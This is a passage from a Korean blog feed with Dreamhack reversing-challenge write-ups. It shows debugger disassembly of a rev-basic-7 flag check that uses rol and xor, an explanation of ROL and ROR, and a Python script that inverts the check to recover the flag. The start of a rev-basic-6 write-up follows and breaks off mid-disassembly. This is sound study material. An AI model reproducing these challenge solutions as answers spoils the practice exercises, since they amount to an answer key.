</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21017</span> <span class="o">|</span> <span class="mi">890424</span>                   <span class="o">|</span> <span class="n">mov</span> <span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">],</span><span class="n">eax</span>              <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE2101A</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">630424</span>                <span class="o">|</span> <span class="n">movsxd</span> <span class="n">rax</span><span class="p">,</span><span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE2101E</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mf">83F</span><span class="mi">8</span> <span class="mf">1F</span>               <span class="o">|</span> <span class="n">cmp</span> <span class="n">rax</span><span class="p">,</span><span class="mf">1F</span>                              <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21022</span> <span class="o">|</span> <span class="mi">73</span> <span class="mi">41</span>                    <span class="o">|</span> <span class="n">jae</span> <span class="n">chall7</span><span class="mf">.7F</span><span class="n">F7CEE21065</span>                 <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21024</span> <span class="o">|</span> <span class="mi">8</span><span class="n">B0424</span>                   <span class="o">|</span> <span class="n">mov</span> <span class="n">eax</span><span class="p">,</span><span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">]</span>              <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21027</span> <span class="o">|</span> <span class="mf">83E0</span> <span class="mo">07</span>                  <span class="o">|</span> <span class="n">and</span> <span class="n">eax</span><span class="p">,</span><span class="mi">7</span>                               <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE2102A</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">630</span><span class="n">C24</span>                <span class="o">|</span> <span class="n">movsxd</span> <span class="n">rcx</span><span class="p">,</span><span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE2102E</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">894</span><span class="n">C24</span> <span class="mi">08</span>             <span class="o">|</span> <span class="n">mov</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">8</span><span class="p">],</span><span class="n">rcx</span>            <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21033</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">B5424</span> <span class="mi">20</span>             <span class="o">|</span> <span class="n">mov</span> <span class="n">rdx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">20</span><span class="p">]</span>           <span class="o">|</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">20</span><span class="p">]</span><span class="o">:</span><span class="s">&#34;aaaaaaaaaaa&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21038</span> <span class="o">|</span> <span class="mf">0F</span><span class="n">B6C8</span>                   <span class="o">|</span> <span class="n">movzx</span> <span class="n">ecx</span><span class="p">,</span><span class="n">al</span>                            <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE2103B</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">B4424</span> <span class="mi">08</span>             <span class="o">|</span> <span class="n">mov</span> <span class="n">rax</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">8</span><span class="p">]</span>            <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21040</span> <span class="o">|</span> <span class="mf">0F</span><span class="n">B60402</span>                 <span class="o">|</span> <span class="n">movzx</span> <span class="n">eax</span><span class="p">,</span><span class="n">byte</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="n">rdx</span><span class="o">+</span><span class="n">rax</span><span class="p">]</span>         <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21044</span> <span class="o">|</span> <span class="n">D2C0</span>                     <span class="o">|</span> <span class="n">rol</span> <span class="n">al</span><span class="p">,</span><span class="n">cl</span>                               <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21046</span> <span class="o">|</span> <span class="mf">0F</span><span class="n">B6C0</span>                   <span class="o">|</span> <span class="n">movzx</span> <span class="n">eax</span><span class="p">,</span><span class="n">al</span>                            <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21049</span> <span class="o">|</span> <span class="mi">330424</span>                   <span class="o">|</span> <span class="n">xor</span> <span class="n">eax</span><span class="p">,</span><span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">]</span>              <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE2104C</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">630</span><span class="n">C24</span>                <span class="o">|</span> <span class="n">movsxd</span> <span class="n">rcx</span><span class="p">,</span><span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21050</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D15</span> <span class="n">A91F0000</span>         <span class="o">|</span> <span class="n">lea</span> <span class="n">rdx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="mf">7FF</span><span class="mi">7</span><span class="n">CEE23000</span><span class="p">]</span>     <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21057</span> <span class="o">|</span> <span class="mf">0F</span><span class="n">B60C0A</span>                 <span class="o">|</span> <span class="n">movzx</span> <span class="n">ecx</span><span class="p">,</span><span class="n">byte</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="n">rdx</span><span class="o">+</span><span class="n">rcx</span><span class="p">]</span>         <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE2105B</span> <span class="o">|</span> <span class="mi">3</span><span class="n">BC1</span>                     <span class="o">|</span> <span class="n">cmp</span> <span class="n">eax</span><span class="p">,</span><span class="n">ecx</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE2105D</span> <span class="o">|</span> <span class="mi">74</span> <span class="mo">04</span>                    <span class="o">|</span> <span class="n">je</span> <span class="n">chall7</span><span class="mf">.7F</span><span class="n">F7CEE21063</span>                  <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE2105F</span> <span class="o">|</span> <span class="mi">33</span><span class="n">C0</span>                     <span class="o">|</span> <span class="n">xor</span> <span class="n">eax</span><span class="p">,</span><span class="n">eax</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21061</span> <span class="o">|</span> <span class="n">EB</span> <span class="mo">07</span>                    <span class="o">|</span> <span class="n">jmp</span> <span class="n">chall7</span><span class="mf">.7F</span><span class="n">F7CEE2106A</span>                 <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21063</span> <span class="o">|</span> <span class="n">EB</span> <span class="n">AD</span>                    <span class="o">|</span> <span class="n">jmp</span> <span class="n">chall7</span><span class="mf">.7F</span><span class="n">F7CEE21012</span>                 <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE21065</span> <span class="o">|</span> <span class="n">B8</span> <span class="mo">01000000</span>              <span class="o">|</span> <span class="n">mov</span> <span class="n">eax</span><span class="p">,</span><span class="mi">1</span>                               <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE2106A</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">83</span><span class="n">C4</span> <span class="mi">18</span>               <span class="o">|</span> <span class="n">add</span> <span class="n">rsp</span><span class="p">,</span><span class="mi">18</span>                              <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">7</span><span class="n">CEE2106E</span> <span class="o">|</span> <span class="n">C3</span>                       <span class="o">|</span> <span class="n">ret</span>                                     <span class="o">|</span>
</span></span></code></pre></div><p>어셈블리를 살펴보면 처음보는 명령어가 있다. 바로 rol이라는 연산인데, 쉬프트 연산의 일종이다. al 레지스터의 값을 cl레지스터 값 만큼 rol연산 해 al 레지스터에 저장하는 연산이다. 일반적인 쉬프트 연산에서 자리수를 넘어가는 값이 나오면 그 수는 그냥 버려지는것이 일반적이지만 ROL(왼쪽)과 ROR(오른쪽)연산의 경우 마지막 자리수에서 쉬프트 연산을 통해 자리올림이 발생했을 때, 반대쪽 자리로 옮겨 올라간 자리를 표시한다.</p>
<p>예를 들면 이렇다. al, cl은 각각 8비트의 길이를 가지고 있기 때문에 8비트로 설명을 해보겠다. 0000 0001을 ROL연산을 하면 0000 0010이 된다. 다만 0000 0001을 ROR연산을 하면 1000 0000이 된다. 이것이 일반적인 쉬프트 연산과 다른점이다.</p>
<p>해당 로직을 실행시켜 레지스터 값 변화와 같이 분석해보면 다음과 같다. 입력한 문자열이 저장된 스택 시작주소에서 반복문 횟수 만큼 값을 더해 결과적으로 각 자리 문자를 가져와 al 레지스터에 저장하는 역할을 한다. 이후 반복분의 횟수는 cl레지스터에 저장되며 al 레지스터에 저장된 값을 cl 레지스터 값 만큼 rol연산한 후 반복분 횟수와 XOR연산해 EAX에 저장한다. 이후 스텍에 저장된 정답 문자열 주소에 반복분 횟수 만큼 더한 자리의 값을 가져와 ECX에 저장한다. EAX와 ECX를 비교 후 같지 않으면 0을 리턴하고 같으면 jmp를 통해 다음 자리의 문자를 검사한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">(각 자리수의 hex값 ROL 자리수(몇번째 자리인지)) XOR 자리수(몇번째 자리인지) == 비교대상 정답
</span></span><span class="line"><span class="cl">위 값이 참일경우 반복문 동작, 거짓일 경우 0을 리턴하고 main함수에서 Wrong을 출력
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"># 입력된 문자열만큼 반복
</span></span><span class="line"><span class="cl"># 자리수는 0부터 시작후 1씩 증가
</span></span><span class="line"><span class="cl"># 결과 값을 7FF7CEE23000에 위치한 hex값과 비교해 정답 유무 확인
</span></span></code></pre></div><p>위 수식을 입력 받은 글자 수 만큼 반복하면서 비교한다. XOR의 경우 A ⊕ B = C와 A ⊕ C = B가 성립하므로 위 수식의 역을 구하면 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">(비교대상 정답 XOR 자리수) ROR 자리수 = 각 자리수의 hex값
</span></span></code></pre></div><p>위 수식을 검산하면서 간과했던 점이 al, cl 레지스터는 8비트 크기를 가지지만 윈도우 계산기의 기본 설정은 QWORD로 64비트의 자리수를 가지고 있다. 따라서 계산기로 검증하면서 byte로 설정을 바꾸어 계산을 진행했다.</p>
<p>이제 파이썬 코드를 작성해보자</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">ROL</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">shift</span><span class="p">,</span> <span class="n">size</span><span class="o">=</span><span class="mi">8</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">shift</span> <span class="o">%=</span> <span class="n">size</span>
</span></span><span class="line"><span class="cl">        <span class="n">remains</span> <span class="o">=</span> <span class="n">data</span> <span class="o">&gt;&gt;</span> <span class="p">(</span><span class="n">size</span> <span class="o">-</span> <span class="n">shift</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">body</span> <span class="o">=</span> <span class="p">(</span><span class="n">data</span> <span class="o">&lt;&lt;</span> <span class="n">shift</span><span class="p">)</span> <span class="o">-</span> <span class="p">(</span><span class="n">remains</span> <span class="o">&lt;&lt;</span> <span class="n">size</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="p">(</span><span class="n">body</span> <span class="o">+</span> <span class="n">remains</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">ROR</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">shift</span><span class="p">,</span> <span class="n">size</span><span class="o">=</span><span class="mi">8</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">shift</span> <span class="o">%=</span> <span class="n">size</span>
</span></span><span class="line"><span class="cl">        <span class="n">body</span> <span class="o">=</span> <span class="n">data</span> <span class="o">&gt;&gt;</span> <span class="n">shift</span>
</span></span><span class="line"><span class="cl">        <span class="n">remains</span> <span class="o">=</span> <span class="p">(</span><span class="n">data</span> <span class="o">&lt;&lt;</span> <span class="p">(</span><span class="n">size</span> <span class="o">-</span> <span class="n">shift</span><span class="p">))</span> <span class="o">-</span> <span class="p">(</span><span class="n">body</span> <span class="o">&lt;&lt;</span> <span class="n">size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="p">(</span><span class="n">body</span> <span class="o">+</span> <span class="n">remains</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x52</span><span class="p">,</span> <span class="mh">0xDF</span><span class="p">,</span> <span class="mh">0xB3</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0xF1</span><span class="p">,</span> <span class="mh">0x8B</span><span class="p">,</span> <span class="mh">0x1C</span><span class="p">,</span> <span class="mh">0xB5</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> <span class="mh">0xD1</span><span class="p">,</span> <span class="mh">0x9F</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">,</span> <span class="mh">0x4B</span><span class="p">,</span> <span class="mh">0x29</span><span class="p">,</span> <span class="mh">0xD9</span><span class="p">,</span> <span class="mh">0x26</span>
</span></span><span class="line"><span class="cl"><span class="p">,</span> <span class="mh">0x7F</span><span class="p">,</span> <span class="mh">0xC9</span><span class="p">,</span> <span class="mh">0xA3</span><span class="p">,</span> <span class="mh">0xE9</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x18</span><span class="p">,</span> <span class="mh">0x4F</span><span class="p">,</span> <span class="mh">0xB8</span><span class="p">,</span> <span class="mh">0x6A</span><span class="p">,</span> <span class="mh">0xCB</span><span class="p">,</span> <span class="mh">0x87</span><span class="p">,</span> <span class="mh">0x58</span><span class="p">,</span> <span class="mh">0x5B</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x1E</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="n">temp</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">a</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">temp</span> <span class="o">=</span> <span class="p">(</span><span class="n">i</span> <span class="o">^</span> <span class="n">b</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">temp</span> <span class="o">=</span> <span class="n">ROR</span><span class="p">(</span><span class="n">temp</span><span class="p">,</span> <span class="n">b</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">temp</span><span class="p">),</span> <span class="n">end</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">b</span> <span class="o">=</span> <span class="n">b</span> <span class="o">+</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="s2">&#34;&#34;</span>
</span></span></code></pre></div><p>찾아보니 파이썬에는 ROL, ROR 연산 함수가 없어 <a href="https://bbolmin.tistory.com/133">https://bbolmin.tistory.com/133</a> 블로그에서 코드를 빌려왔다. 감사하게도 ROL, ROR 코드를 작성해 올려주셨다.</p>
<p>위 코드를 보면 ROR 함수에 size 값이 8인것을 볼 수 있다. 이 또한 al의 크기인 8비트를 맞춰주기 위해 코드를 수정했다.</p>
<p>a의 리스트 값은 입력값과 비교하는 데이터로 7FF7CEE23000 위치에서 가져왔다.</p>
<p>위 코드를 돌리면 플레그를 얻을 수 있다.</p>
]]></content:encoded></item><item><title>Dreamhack rev-basic-6 문제풀이</title><link>https://dig06161.github.io/2022/04/13/dreamhack-rev-basic-6/</link><pubDate>Wed, 13 Apr 2022 18:30:00 +0900</pubDate><guid>https://dig06161.github.io/2022/04/13/dreamhack-rev-basic-6/</guid><description>&lt;p>이번에는 드림핵 리버싱 베이직 6번 문제를 풀어보자.&lt;/p>
&lt;p>이전에 올렸던 rev-basic-5 문제와 동일하게 바이너리를 실행 시키면&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">input :
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>이라는 문자열과 함께 문자열을 입력 받고 정답이면 Correct, 아니면 Wrong을 출력한다.&lt;/p>
&lt;p>우선 동일하게 x64 디버거를 이용해 어셈블리를 분석해보자.&lt;/p>
&lt;p>해당 프로그램 main의 어셈블리는 다음과 같다.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c++" data-lang="c++">&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782681120&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">40&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">57&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">push&lt;/span> &lt;span class="n">rdi&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="nl">rdi&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="s">&amp;#34;ALLUSERSPROFILE=C:&lt;/span>&lt;span class="se">\\&lt;/span>&lt;span class="s">ProgramData&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782681122&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">81&lt;/span>&lt;span class="n">EC&lt;/span> &lt;span class="mi">30010000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">sub&lt;/span> &lt;span class="n">rsp&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">130&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782681129&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">B05&lt;/span> &lt;span class="n">F81F0000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">mov&lt;/span> &lt;span class="n">rax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ds&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="mf">7FF&lt;/span>&lt;span class="mi">782683128&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782681130&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">33&lt;/span>&lt;span class="n">C4&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">xor&lt;/span> &lt;span class="n">rax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">rsp&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782681133&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">898424&lt;/span> &lt;span class="mi">20010000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">mov&lt;/span> &lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ss&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="n">rsp&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">120&lt;/span>&lt;span class="p">],&lt;/span>&lt;span class="n">rax&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">78268113&lt;/span>&lt;span class="n">B&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">D4424&lt;/span> &lt;span class="mi">20&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">lea&lt;/span> &lt;span class="n">rax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ss&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="n">rsp&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">20&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782681140&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">BF8&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">mov&lt;/span> &lt;span class="n">rdi&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">rax&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="nl">rdi&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="s">&amp;#34;ALLUSERSPROFILE=C:&lt;/span>&lt;span class="se">\\&lt;/span>&lt;span class="s">ProgramData&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782681143&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">33&lt;/span>&lt;span class="n">C0&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">xor&lt;/span> &lt;span class="n">eax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782681145&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">B9&lt;/span> &lt;span class="mo">00010000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">mov&lt;/span> &lt;span class="n">ecx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">100&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">78268114&lt;/span>&lt;span class="n">A&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="nl">F3&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">AA&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">rep&lt;/span> &lt;span class="n">stosb&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">78268114&lt;/span>&lt;span class="n">C&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">D0D&lt;/span> &lt;span class="n">BD100000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">lea&lt;/span> &lt;span class="n">rcx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ds&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="mf">7FF&lt;/span>&lt;span class="mi">782682210&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782682210&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="s">&amp;#34;Input : &amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782681153&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">E8&lt;/span> &lt;span class="mi">58000000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">call&lt;/span> &lt;span class="n">chall6&lt;/span>&lt;span class="mf">.7F&lt;/span>&lt;span class="n">F7826811B0&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782681158&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">D5424&lt;/span> &lt;span class="mi">20&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">lea&lt;/span> &lt;span class="n">rdx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ss&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="n">rsp&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">20&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">78268115&lt;/span>&lt;span class="n">D&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">D0D&lt;/span> &lt;span class="n">B8100000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">lea&lt;/span> &lt;span class="n">rcx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ds&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="mf">7FF&lt;/span>&lt;span class="mi">78268221&lt;/span>&lt;span class="n">C&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">78268221&lt;/span>&lt;span class="nl">C&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s">&amp;#34;%256s&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">782681164&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">E8&lt;/span> &lt;span class="n">A7000000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">call&lt;/span> &lt;span class="n">chall6&lt;/span>&lt;span class="mf">.7F&lt;/span>&lt;span class="n">F782681210&lt;/span> &lt;span class="o">|&lt;/span>
